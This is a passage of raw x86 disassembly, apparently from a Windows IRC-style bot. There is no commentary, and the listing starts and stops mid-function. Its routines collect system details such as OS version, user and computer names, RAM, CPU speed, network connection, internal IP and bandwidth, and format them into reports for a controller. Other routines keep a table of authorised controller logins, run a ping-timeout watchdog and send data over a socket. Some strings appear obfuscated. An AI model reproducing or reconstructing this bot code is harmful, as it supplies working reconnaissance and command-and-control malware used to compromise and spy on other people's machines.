loc_41BD2F: ; CODE XREF: sub_41BC85+4Dj
; sub_41BC85+5Dj ...
sub eax, edi
pop edi
sbb edx, ecx
add eax, ebx
adc edx, esi
pop esi
pop ebx
retn
sub_41BC85 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BD3B proc near ; CODE XREF: sub_40A938+295Cp
var_2CC8 = byte ptr -2CC8h
var_5B8 = byte ptr -5B8h
var_4B8 = byte ptr -4B8h
var_3B4 = byte ptr -3B4h
var_2B4 = byte ptr -2B4h
var_228 = byte ptr -228h
var_1E0 = byte ptr -1E0h
var_198 = byte ptr -198h
var_164 = byte ptr -164h
var_130 = byte ptr -130h
var_118 = dword ptr -118h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_D8 = dword ptr -0D8h
var_D4 = dword ptr -0D4h
var_D0 = dword ptr -0D0h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = byte ptr -0C4h
var_3E = byte ptr -3Eh
var_3C = byte ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 2CC8h
call sub_429A90
push ebx
push esi
lea eax, [ebp+var_D8]
push edi
mov esi, offset a??? ; "???"
push eax
mov [ebp+var_4], esi
mov [ebp+var_D8], 9Ch
call dword_437050 ; GetVersionExA
push [ebp+var_D0]
push [ebp+var_D4]
push offset aD_D ; "%d.%d"
push 4
push esi
call sub_429AEE
add esp, 14h
xor ebx, ebx
cmp [ebp+var_D4], 4
jnz short loc_41BDED
cmp [ebp+var_D0], ebx
jnz short loc_41BDC2
cmp [ebp+var_C8], 1
jnz short loc_41BDA9
mov [ebp+var_4], offset a95 ; "95"
loc_41BDA9: ; CODE XREF: sub_41BD3B+65j
cmp [ebp+var_C8], 2
jnz loc_41BE9C
mov [ebp+var_4], offset aNt_0 ; "NT"
jmp loc_41BE6D
; ---------------------------------------------------------------------------
loc_41BDC2: ; CODE XREF: sub_41BD3B+5Cj
cmp [ebp+var_D0], 0Ah
jnz short loc_41BDD7
mov [ebp+var_4], offset a98 ; "98"
jmp loc_41BE64
; ---------------------------------------------------------------------------
loc_41BDD7: ; CODE XREF: sub_41BD3B+8Ej
cmp [ebp+var_D0], 5Ah
jnz loc_41BE64
mov [ebp+var_4], offset aMe_0 ; "ME"
jmp short loc_41BE64
; ---------------------------------------------------------------------------
loc_41BDED: ; CODE XREF: sub_41BD3B+54j
cmp [ebp+var_D4], 5
jnz short loc_41BE2B
cmp [ebp+var_D0], ebx
jnz short loc_41BE07
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_41BE64
; ---------------------------------------------------------------------------
loc_41BE07: ; CODE XREF: sub_41BD3B+C1j
cmp [ebp+var_D0], 1
jnz short loc_41BE19
mov [ebp+var_4], offset aXp ; "XP"
jmp short loc_41BE64
; ---------------------------------------------------------------------------
loc_41BE19: ; CODE XREF: sub_41BD3B+D3j
cmp [ebp+var_D0], 2
jnz short loc_41BE64
mov [ebp+var_4], offset a2k3_0 ; "2K3"
jmp short loc_41BE64
; ---------------------------------------------------------------------------
loc_41BE2B: ; CODE XREF: sub_41BD3B+B9j
cmp [ebp+var_D4], 6
jnz short loc_41BE64
cmp [ebp+var_D0], ebx
jnz short loc_41BE54
cmp [ebp+var_3E], 1
jnz short loc_41BE4B
mov [ebp+var_4], offset aVista_0 ; "Vista"
jmp short loc_41BE64
; ---------------------------------------------------------------------------
loc_41BE4B: ; CODE XREF: sub_41BD3B+105j
mov [ebp+var_4], offset a2k8 ; "2K8"
jmp short loc_41BE64
; ---------------------------------------------------------------------------
loc_41BE54: ; CODE XREF: sub_41BD3B+FFj
cmp [ebp+var_D0], 1
jnz short loc_41BE64
mov [ebp+var_4], offset a7 ; "7"
loc_41BE64: ; CODE XREF: sub_41BD3B+97j
; sub_41BD3B+A3j ...
cmp [ebp+var_C8], 2
jnz short loc_41BE9C
loc_41BE6D: ; CODE XREF: sub_41BD3B+82j
cmp [ebp+var_C4], bl
jz short loc_41BE9C
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2B4]
push [ebp+var_4]
push offset aSS_3 ; "%s (%s)"
push eax
call sub_429A33
lea eax, [ebp+var_2B4]
add esp, 10h
mov [ebp+var_4], eax
loc_41BE9C: ; CODE XREF: sub_41BD3B+75j
; sub_41BD3B+130j ...
mov eax, 100h
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_3B4]
push eax
call dword_456DAC ; GetUserNameA
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_5B8]
push eax
call dword_456F70 ; GetComputerNameA
lea eax, [ebp+var_4B8]
push 104h
push eax
call dword_4370E4 ; GetSystemDirectoryA
lea eax, [ebp+var_228]
push 46h
push eax
push offset aDddMmmDdYyyy ; "ddd, MMM dd, yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call dword_4370E0 ; GetDateFormatA
lea eax, [ebp+var_1E0]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call dword_4370DC ; GetTimeFormatA
push 40h
lea eax, [ebp+var_118]
pop esi
push esi
push ebx
push eax
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_118]
mov [ebp+var_118], esi
push eax
call dword_4370D8 ; GlobalMemoryStatusEx
mov eax, [ebp+var_110]
mov ecx, [ebp+var_10C]
shrd eax, ecx, 14h
shr ecx, 14h
push ecx
mov esi, offset aD_0 ; "%d"
push eax
push esi
lea eax, [ebp+var_198]
push 32h
push eax
call sub_429AEE
mov eax, [ebp+var_108]
mov ecx, [ebp+var_104]
shrd eax, ecx, 14h
shr ecx, 14h
push ecx
push eax
push esi
lea eax, [ebp+var_164]
push 32h
push eax
call sub_429AEE
mov esi, dword_437098
add esp, 28h
mov [ebp+var_18], ebx
mov [ebp+var_14], ebx
push ebx
push ebx
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
call esi ; dword_437098
add eax, 2
mov [ebp+var_8], eax
push eax
call sub_4296E8
pop ecx
mov edi, eax
push edi
mov [ebp+var_24], edi
push [ebp+var_8]
call esi ; dword_437098
cmp [edi], bl
mov [ebp+var_8], edi
jz short loc_41C01D
loc_41BFBA: ; CODE XREF: sub_41BD3B+2E0j
push offset off_4473E0
push [ebp+var_8]
call dword_437174 ; lstrcmpiA
test eax, eax
jz short loc_41C008
push 40000000h
lea eax, [ebp+var_130]
push [ebp+var_8]
push eax
call sub_41B88C
add esp, 0Ch
mov esi, eax
lea edi, [ebp+var_3C]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_34]
mov edi, [ebp+var_24]
add [ebp+var_18], eax
mov eax, [ebp+var_30]
adc [ebp+var_14], eax
mov eax, [ebp+var_2C]
add [ebp+var_10], eax
mov eax, [ebp+var_28]
adc [ebp+var_C], eax
loc_41C008: ; CODE XREF: sub_41BD3B+28Fj
mov esi, [ebp+var_8]
push esi
call sub_4292D0
lea eax, [esi+eax+1]
pop ecx
mov [ebp+var_8], eax
cmp [eax], bl
jnz short loc_41BFBA
loc_41C01D: ; CODE XREF: sub_41BD3B+27Dj
push edi
call sub_429822
pop ecx
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_14]
push [ebp+var_18]
push 1
push ebx
call dword_437184 ; GetTickCount
push eax
call sub_41B932
add esp, 0Ch
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_228]
push eax
lea eax, [ebp+var_3B4]
push eax
lea eax, [ebp+var_5B8]
push eax
lea eax, [ebp+var_4B8]
push eax
lea eax, [ebp+var_164]
push [ebp+var_CC]
push [ebp+var_D0]
push [ebp+var_D4]
push [ebp+var_4]
push eax
lea eax, [ebp+var_198]
push eax
call sub_41BC85
push edx
push eax
push offset aWj27_1belx20 ; "wj27.1Belx20"
push offset aSCpuI64umhzRam ; "%s (CPU): %I64uMHz, (RAM): %sMB total, "...
lea eax, [ebp+var_2CC8]
push 2710h
push eax
call sub_429AEE
add esp, 58h
cmp [ebp+arg_8], ebx
lea eax, [ebp+var_2CC8]
pop edi
pop esi
pop ebx
push eax
push [ebp+arg_0]
push [ebp+arg_4]
jnz short loc_41C0CA
call sub_41CD84
jmp short loc_41C0CF
; ---------------------------------------------------------------------------
loc_41C0CA: ; CODE XREF: sub_41BD3B+386j
call sub_41CD0E
loc_41C0CF: ; CODE XREF: sub_41BD3B+38Dj
add esp, 0Ch
leave
retn
sub_41BD3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C0D4 proc near ; CODE XREF: sub_41C172+A6p
; sub_41C172+AEp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
lea eax, [ebp+var_4]
xor ebx, ebx
push 1
push eax
push ebx
mov [ebp+var_4], ebx
call dword_456EDC ; GetIfTable
cmp eax, 7Ah
jnz short loc_41C11F
push [ebp+var_4]
call sub_4296E8
mov esi, eax
pop ecx
cmp esi, ebx
jz short loc_41C11F
push [ebp+var_4]
push ebx
push esi
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_4]
push 1
push eax
push esi
call dword_456EDC ; GetIfTable
test eax, eax
jz short loc_41C123
loc_41C11F: ; CODE XREF: sub_41C0D4+1Cj
; sub_41C0D4+2Bj
xor eax, eax
jmp short loc_41C15D
; ---------------------------------------------------------------------------
loc_41C123: ; CODE XREF: sub_41C0D4+49j
push edi
mov edi, [esi]
cmp edi, ebx
mov [ebp+var_8], ebx
jbe short loc_41C151
lea eax, [esi+230h]
loc_41C133: ; CODE XREF: sub_41C0D4+7Bj
mov edx, [eax]
cmp edx, ebx
jbe short loc_41C144
mov ecx, [eax+18h]
cmp ecx, ebx
jbe short loc_41C144
cmp edx, ecx
jnz short loc_41C161
loc_41C144: ; CODE XREF: sub_41C0D4+63j
; sub_41C0D4+6Aj
inc [ebp+var_8]
add eax, 35Ch
cmp [ebp+var_8], edi
jb short loc_41C133
loc_41C151: ; CODE XREF: sub_41C0D4+57j
xor edi, edi
loc_41C153: ; CODE XREF: sub_41C0D4+9Cj
push esi
call sub_429822
pop ecx
mov eax, edi
pop edi
loc_41C15D: ; CODE XREF: sub_41C0D4+4Dj
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41C161: ; CODE XREF: sub_41C0D4+6Ej
cmp [ebp+arg_0], ebx
jz short loc_41C16B
mov eax, [eax-4]
jmp short loc_41C16E
; ---------------------------------------------------------------------------
loc_41C16B: ; CODE XREF: sub_41C0D4+90j
mov eax, [eax+14h]
loc_41C16E: ; CODE XREF: sub_41C0D4+95j
mov edi, eax
jmp short loc_41C153
sub_41C0D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C172 proc near ; CODE XREF: sub_40A938+2A04p
var_4F14 = byte ptr -4F14h
var_2804 = byte ptr -2804h
var_F4 = byte ptr -0F4h
var_74 = byte ptr -74h
var_40 = byte ptr -40h
var_C = byte ptr -0Ch
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, 4F14h
call sub_429A90
push ebx
push esi
mov esi, 80h
xor ebx, ebx
push esi
lea eax, [ebp+var_F4]
push ebx
push eax
call sub_429690
add esp, 0Ch
cmp dword_457030, ebx
jnz short loc_41C1EA
push ebx
lea eax, [ebp+var_F4]
push esi
push eax
lea eax, [ebp+var_4]
push eax
call dword_456D94 ; InternetGetConnectedStateExA
test eax, eax
jnz short loc_41C1CB
lea eax, [ebp+var_F4]
push offset dword_447620
push eax
call sub_429A33
pop ecx
pop ecx
loc_41C1CB: ; CODE XREF: sub_41C172+44j
test [ebp+var_4], 1
lea eax, [ebp+var_C]
jz short loc_41C1E3
push offset dword_447614
loc_41C1D9: ; CODE XREF: sub_41C172+76j
push eax
call sub_429A33
pop ecx
pop ecx
jmp short loc_41C209
; ---------------------------------------------------------------------------
loc_41C1E3: ; CODE XREF: sub_41C172+60j
push offset off_447610
jmp short loc_41C1D9
; ---------------------------------------------------------------------------
loc_41C1EA: ; CODE XREF: sub_41C172+2Dj
mov esi, offset off_44760C
lea eax, [ebp+var_C]
push esi
push eax
call sub_429A33
lea eax, [ebp+var_F4]
push esi
push eax
call sub_429A33
add esp, 10h
loc_41C209: ; CODE XREF: sub_41C172+6Fj
push edi
xor esi, esi
xor edi, edi
cmp dword_457050, ebx
jnz short loc_41C229
push 1
call sub_41C0D4
push ebx
mov esi, eax
call sub_41C0D4
pop ecx
mov edi, eax
pop ecx
loc_41C229: ; CODE XREF: sub_41C172+A2j
cmp [ebp+arg_C], ebx
push ebx
jz short loc_41C24D
shr esi, 14h
push esi
call sub_427D86
push eax
mov esi, offset aSmb ; "%sMB"
lea eax, [ebp+var_40]
push esi
push eax
call sub_429A33
shr edi, 14h
jmp short loc_41C28C
; ---------------------------------------------------------------------------
loc_41C24D: ; CODE XREF: sub_41C172+BBj
cmp [ebp+arg_10], ebx
jz short loc_41C270
shr esi, 1Eh
push esi
call sub_427D86
push eax
mov esi, offset aSgb ; "%sGB"
lea eax, [ebp+var_40]
push esi
push eax
call sub_429A33
shr edi, 1Eh
jmp short loc_41C28C
; ---------------------------------------------------------------------------
loc_41C270: ; CODE XREF: sub_41C172+DEj
shr esi, 0Ah
push esi
call sub_427D86
push eax
mov esi, offset aSkb ; "%sKB"
lea eax, [ebp+var_40]
push esi
push eax
call sub_429A33
shr edi, 0Ah
loc_41C28C: ; CODE XREF: sub_41C172+D9j
; sub_41C172+FCj
push ebx
push edi
call sub_427D86
push eax
lea eax, [ebp+var_74]
push esi
push eax
call sub_429A33
add esp, 28h
mov esi, offset dword_457CD8
push esi
call sub_41E3FB
pop ecx
pop edi
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_41C2BC
mov eax, offset aNo ; "No"
loc_41C2BC: ; CODE XREF: sub_41C172+143j
push eax
push offset dword_457C38
push offset dword_457C20
lea eax, [ebp+var_F4]
push esi
push eax
lea eax, [ebp+var_C]
mov esi, 2710h
push eax
push offset aHm1h_049e4o ; "Hm1H.049e4O/"
push offset aSConnectionSSI ; "%s (Connection): %s (%s), (IntIP): %s, "...
lea eax, [ebp+var_2804]
push esi
push eax
call sub_429AEE
lea eax, [ebp+var_74]
push eax
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_4F14]
push offset aBandwidthDownl ; "(Bandwidth): Downloaded: %s, Uploaded: "...
push eax
call sub_429A33
lea eax, [ebp+var_4F14]
push esi
push eax
lea eax, [ebp+var_2804]
push eax
call sub_429910
add esp, 44h
cmp [ebp+arg_8], ebx
lea eax, [ebp+var_2804]
pop esi
pop ebx
push eax
push [ebp+arg_0]
push [ebp+arg_4]
jnz short loc_41C33A
call sub_41CD84
jmp short loc_41C33F
; ---------------------------------------------------------------------------
loc_41C33A: ; CODE XREF: sub_41C172+1BFj
call sub_41CD0E
loc_41C33F: ; CODE XREF: sub_41C172+1C6j
add esp, 0Ch
leave
retn
sub_41C172 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_418CAA
loc_41C344: ; CODE XREF: sub_418CAA+5j
push esi
mov esi, ecx
and dword ptr [esi+20h], 0
call sub_41C5FE
and byte ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
mov byte ptr [esi+5], 1
mov eax, esi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_418CAA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_418CC0
loc_41C364: ; CODE XREF: sub_418CC0+5j
mov eax, [ecx+20h]
test eax, eax
jz short locret_41C371
push eax
call sub_41C510
locret_41C371: ; CODE XREF: sub_418CC0+36A9j
retn
; END OF FUNCTION CHUNK FOR sub_418CC0
; ---------------------------------------------------------------------------
loc_41C372: ; DATA XREF: sub_420BF0+1Co
mov eax, [esp+4]
sub esp, 0C4h
push ebx
push ebp
push esi
push edi
push 31h
mov esi, eax
pop ecx
lea edi, [esp+10h]
rep movsd
mov edi, dword_437184
mov dword ptr [eax+0BCh], 1
mov esi, 3E8h
loc_41C3A0: ; CODE XREF: ?9:0041C3E1j
call edi ; dword_437184
xor edx, edx
mov ecx, esi
div ecx
mov ecx, dword_45848C
xor edx, edx
mov ebp, esi
mov ebx, eax
mov eax, ecx
div ebp
mov ebp, 0A28h
sub ebx, eax
cmp ebx, ebp
ja short loc_41C3E3
mov ecx, [esp+10h]
call sub_41DA92
mov ecx, [esp+10h]
push eax
call sub_41CE5F
push 27AC40h
call dword_43718C ; Sleep
jmp short loc_41C3A0
; ---------------------------------------------------------------------------
loc_41C3E3: ; CODE XREF: ?9:0041C3C1j
mov eax, ecx
xor edx, edx
mov ecx, esi
push ebp
div ecx
mov ebx, eax
call edi ; dword_437184
xor edx, edx
mov ecx, esi
div ecx
sub eax, ebx
push eax
push ebx
call edi ; dword_437184
xor edx, edx
div esi
push eax
push offset aPingTimeout?DD ; "Ping Timeout? (%d-%d)%d/%d"
push dword ptr [esp+24h]
call sub_41C9EE
add esp, 18h
push 0
call dword_437170 ; ExitThread
pop edi
pop esi
pop ebp
pop ebx
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C41E proc near ; CODE XREF: sub_41C7EB+18Dp
; sub_41C7EB+1A1p ...
var_2710 = byte ptr -2710h
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
mov eax, 2710h
call sub_429A90
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_2710]
push [ebp+arg_8]
push 2710h
push eax
call sub_42B7DA
add esp, 10h
lea eax, [ebp+var_2710]
push 0
push eax
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_2710]
push eax
push [ebp+arg_4]
call dword_456F6C ; send
inc eax
neg eax
sbb eax, eax
inc eax
leave
retn
sub_41C41E endp
; =============== S U B R O U T I N E =======================================
sub_41C46E proc near ; CODE XREF: sub_41C4C9+3Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
xor edi, edi
jmp short loc_41C499
; ---------------------------------------------------------------------------
loc_41C478: ; CODE XREF: sub_41C46E+2Ej
cmp [esi+8], edi
jnz short loc_41C496
push 0Ch
call sub_42B407
mov [esi+8], eax
mov [eax+4], edi
mov eax, [esi+8]
pop ecx
mov [eax], edi
mov eax, [esi+8]
mov [eax+8], edi
loc_41C496: ; CODE XREF: sub_41C46E+Dj
mov esi, [esi+8]
loc_41C499: ; CODE XREF: sub_41C46E+8j
cmp [esi+4], edi
jnz short loc_41C478
mov eax, [esp+8+arg_8]
push [esp+8+arg_4]
mov [esi+4], eax
call sub_4292D0
inc eax
push eax
call sub_42B407
pop ecx
mov [esi], eax
pop ecx
push [esp+8+arg_4]
push eax
call dword_4370A4 ; lstrcpyA
pop edi
pop esi
retn 0Ch
sub_41C46E endp
; =============== S U B R O U T I N E =======================================
sub_41C4C9 proc near ; CODE XREF: sub_420CC8+13p
; sub_420CC8+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
mov eax, [esi+20h]
test eax, eax
jnz short loc_41C4FC
push 0Ch
call sub_42B407
mov [esi+20h], eax
and dword ptr [eax+4], 0
mov eax, [esi+20h]
pop ecx
push [esp+4+arg_4]
and dword ptr [eax], 0
mov eax, [esi+20h]
push [esp+8+arg_0]
and dword ptr [eax+8], 0
push dword ptr [esi+20h]
jmp short loc_41C505
; ---------------------------------------------------------------------------
loc_41C4FC: ; CODE XREF: sub_41C4C9+8j
push [esp+4+arg_4]
push [esp+8+arg_0]
push eax
loc_41C505: ; CODE XREF: sub_41C4C9+31j
mov ecx, esi
call sub_41C46E
pop esi
retn 8
sub_41C4C9 endp
; =============== S U B R O U T I N E =======================================
sub_41C510 proc near ; CODE XREF: sub_418CC0+36ACp
; sub_41C510+Dp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+8]
test eax, eax
jz short loc_41C522
push eax
call sub_41C510
loc_41C522: ; CODE XREF: sub_41C510+Aj
mov eax, [esi]
test eax, eax
jz short loc_41C52F
push eax
call sub_429006
pop ecx
loc_41C52F: ; CODE XREF: sub_41C510+16j
push esi
call sub_429006
pop ecx
pop esi
retn 4
sub_41C510 endp
; =============== S U B R O U T I N E =======================================
sub_41C53A proc near ; CODE XREF: sub_420399+23Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
mov eax, offset dword_458490
loc_41C542: ; CODE XREF: sub_41C53A+18j
cmp byte ptr [eax], 0
jz short loc_41C55B
add eax, 0BFh
inc ebx
cmp eax, offset byte_4586CD
jl short loc_41C542
or eax, 0FFFFFFFFh
loc_41C557: ; CODE XREF: sub_41C53A+5Cj
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_41C55B: ; CODE XREF: sub_41C53A+Bj
push esi
mov esi, ebx
imul esi, 0BFh
push edi
mov edi, dword_4370A4
push [esp+0Ch+arg_0]
lea eax, dword_458490[esi]
push eax
call edi ; dword_4370A4
push [esp+0Ch+arg_4]
lea eax, dword_4584A0[esi]
push eax
call edi ; dword_4370A4
push [esp+0Ch+arg_8]
lea eax, dword_4584B0[esi]
push eax
call edi ; dword_4370A4
pop edi
mov eax, ebx
pop esi
jmp short loc_41C557
sub_41C53A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C598 proc near ; CODE XREF: sub_40A938+9B0p
; sub_41CAFB+C7p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword_437174
push edi
mov [ebp+var_4], ecx
xor ebx, ebx
mov edi, offset dword_458490
loc_41C5AF: ; CODE XREF: sub_41C598+4Dj
cmp byte ptr [edi], 0
jz short loc_41C5D8
push [ebp+arg_0]
push edi
call esi ; dword_437174
test eax, eax
jnz short loc_41C5D8
push [ebp+arg_4]
lea eax, [edi+10h]
push eax
call esi ; dword_437174
test eax, eax
jnz short loc_41C5D8
push [ebp+arg_8]
lea eax, [edi+20h]
push eax
call esi ; dword_437174
test eax, eax
jz short loc_41C5F1
loc_41C5D8: ; CODE XREF: sub_41C598+1Aj
; sub_41C598+24j ...
add edi, 0BFh
inc ebx
cmp edi, offset byte_4586CD
jl short loc_41C5AF
or eax, 0FFFFFFFFh
loc_41C5EA: ; CODE XREF: sub_41C598+64j
pop edi
pop esi
pop ebx
leave
retn 0Ch
; ---------------------------------------------------------------------------
loc_41C5F1: ; CODE XREF: sub_41C598+3Ej
mov ecx, [ebp+var_4]
push ebx
call sub_41C63E
mov eax, ebx
jmp short loc_41C5EA
sub_41C598 endp
; =============== S U B R O U T I N E =======================================
sub_41C5FE proc near ; CODE XREF: sub_418CAA+36A1p
; sub_41C7EB+B8p
push esi
mov esi, offset dword_4584A0
loc_41C604: ; CODE XREF: sub_41C5FE+3Cj
push 10h
lea eax, [esi-10h]
push 0
push eax
call sub_429690
push 10h
push 0
push esi
call sub_429690
push 9Fh
lea eax, [esi+10h]
push 0
push eax
call sub_429690
add esi, 0BFh
add esp, 24h
cmp esi, (offset dword_4586DC+1)
jl short loc_41C604
pop esi
retn
sub_41C5FE endp
; =============== S U B R O U T I N E =======================================
sub_41C63E proc near ; CODE XREF: sub_40A938+8C5p
; sub_41C598+5Dp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
imul esi, 0BFh
lea eax, dword_458490[esi]
cmp byte ptr [eax], 0
jz short loc_41C689
push 10h
push 0
push eax
call sub_429690
push 10h
lea eax, dword_4584A0[esi]
push 0
push eax
call sub_429690
push 9Fh
lea eax, dword_4584B0[esi]
push 0
push eax
call sub_429690
xor eax, eax
add esp, 24h
inc eax
jmp short loc_41C68B
; ---------------------------------------------------------------------------
loc_41C689: ; CODE XREF: sub_41C63E+14j
xor eax, eax
loc_41C68B: ; CODE XREF: sub_41C63E+49j
pop esi
retn 4
sub_41C63E endp
; =============== S U B R O U T I N E =======================================
sub_41C68F proc near ; CODE XREF: sub_41CAFB+AEp
; sub_420399+C7p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, dword_437174
push edi
mov edi, offset dword_458490
loc_41C69C: ; CODE XREF: sub_41C68F+45j
cmp byte ptr [edi], 0
jz short loc_41C6C8
push [esp+8+arg_0]
push edi
call esi ; dword_437174
test eax, eax
jnz short loc_41C6C8
push [esp+8+arg_4]
lea eax, [edi+10h]
push eax
call esi ; dword_437174
test eax, eax
jnz short loc_41C6C8
push [esp+8+arg_8]
lea eax, [edi+20h]
push eax
call esi ; dword_437174
test eax, eax
jz short loc_41C6DD
loc_41C6C8: ; CODE XREF: sub_41C68F+10j
; sub_41C68F+1Bj ...
add edi, 0BFh
cmp edi, offset byte_4586CD
jl short loc_41C69C
xor eax, eax
loc_41C6D8: ; CODE XREF: sub_41C68F+51j
pop edi
pop esi
retn 0Ch
; ---------------------------------------------------------------------------
loc_41C6DD: ; CODE XREF: sub_41C68F+37j
xor eax, eax
inc eax
jmp short loc_41C6D8
sub_41C68F endp
; =============== S U B R O U T I N E =======================================
sub_41C6E2 proc near ; CODE XREF: sub_420399+134p
; sub_420399+1F3p ...
mov eax, offset dword_458490
loc_41C6E7: ; CODE XREF: sub_41C6E2+14j
cmp byte ptr [eax], 0
jnz short loc_41C6FB
add eax, 0BFh
cmp eax, offset byte_4586CD
jl short loc_41C6E7
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C6FB: ; CODE XREF: sub_41C6E2+8j
xor eax, eax
inc eax
retn
sub_41C6E2 endp
; =============== S U B R O U T I N E =======================================
sub_41C6FF proc near ; CODE XREF: sub_40A938+A18p
arg_0 = dword ptr 4
push ebx
push ebp
mov ebp, [esp+8+arg_0]
push esi
push edi
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
mov edi, ecx
push offset aSLoginList ; "%s Login List:"
push ebp
push edi
call sub_41CD84
add esp, 10h
xor ebx, ebx
mov esi, offset dword_458490
loc_41C724: ; CODE XREF: sub_41C6FF+62j
cmp byte ptr [esi], 0
jz short loc_41C744
lea eax, [esi+10h]
lea ecx, [eax+10h]
push ecx
push eax
push esi
push ebx
push offset aISS@S ; "<%i> %s!%s@%s"
push ebp
push edi
call sub_41CD84
add esp, 1Ch
jmp short loc_41C754
; ---------------------------------------------------------------------------
loc_41C744: ; CODE XREF: sub_41C6FF+28j
push ebx
push offset aIEmpty ; "<%i> <Empty>"
push ebp
push edi
call sub_41CD84
add esp, 10h
loc_41C754: ; CODE XREF: sub_41C6FF+43j
add esi, 0BFh
inc ebx
cmp esi, offset byte_4586CD
jl short loc_41C724
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push offset aSLoginListComp ; "%s Login List complete."
push ebp
push edi
call sub_41CD84
add esp, 10h
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_41C6FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C77E proc near ; CODE XREF: sub_420399+15Cp
; sub_420399+510p ...
var_2710 = byte ptr -2710h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
mov eax, 2710h
call sub_429A90
push ebx
mov ebx, [ebp+arg_0]
cmp byte ptr [ebx+4], 0
jnz short loc_41C79A
xor eax, eax
inc eax
jmp short loc_41C7E8
; ---------------------------------------------------------------------------
loc_41C79A: ; CODE XREF: sub_41C77E+15j
push esi
lea eax, [ebp+arg_8]
push edi
push eax
push [ebp+arg_4]
lea eax, [ebp+var_2710]
xor edi, edi
push 2710h
push eax
call sub_42B7DA
add esp, 10h
mov esi, offset dword_458490
loc_41C7BE: ; CODE XREF: sub_41C77E+64j
cmp byte ptr [esi], 0
jz short loc_41C7D6
lea eax, [ebp+var_2710]
push eax
push esi
push ebx
call sub_41CD0E
add esp, 0Ch
add edi, eax
loc_41C7D6: ; CODE XREF: sub_41C77E+43j
add esi, 0BFh
cmp esi, offset byte_4586CD
jl short loc_41C7BE
mov eax, edi
pop edi
pop esi
loc_41C7E8: ; CODE XREF: sub_41C77E+1Aj
pop ebx
leave
retn
sub_41C77E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C7EB proc near ; CODE XREF: sub_418EDB+616p
var_3C = qword ptr -3Ch
var_2C = word ptr -2Ch
var_2A = word ptr -2Ah
var_28 = byte ptr -28h
var_1C = qword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 2Ch
push esi
mov esi, ecx
push edi
cmp byte ptr [esi+4], 0
jz short loc_41C803
xor eax, eax
inc eax
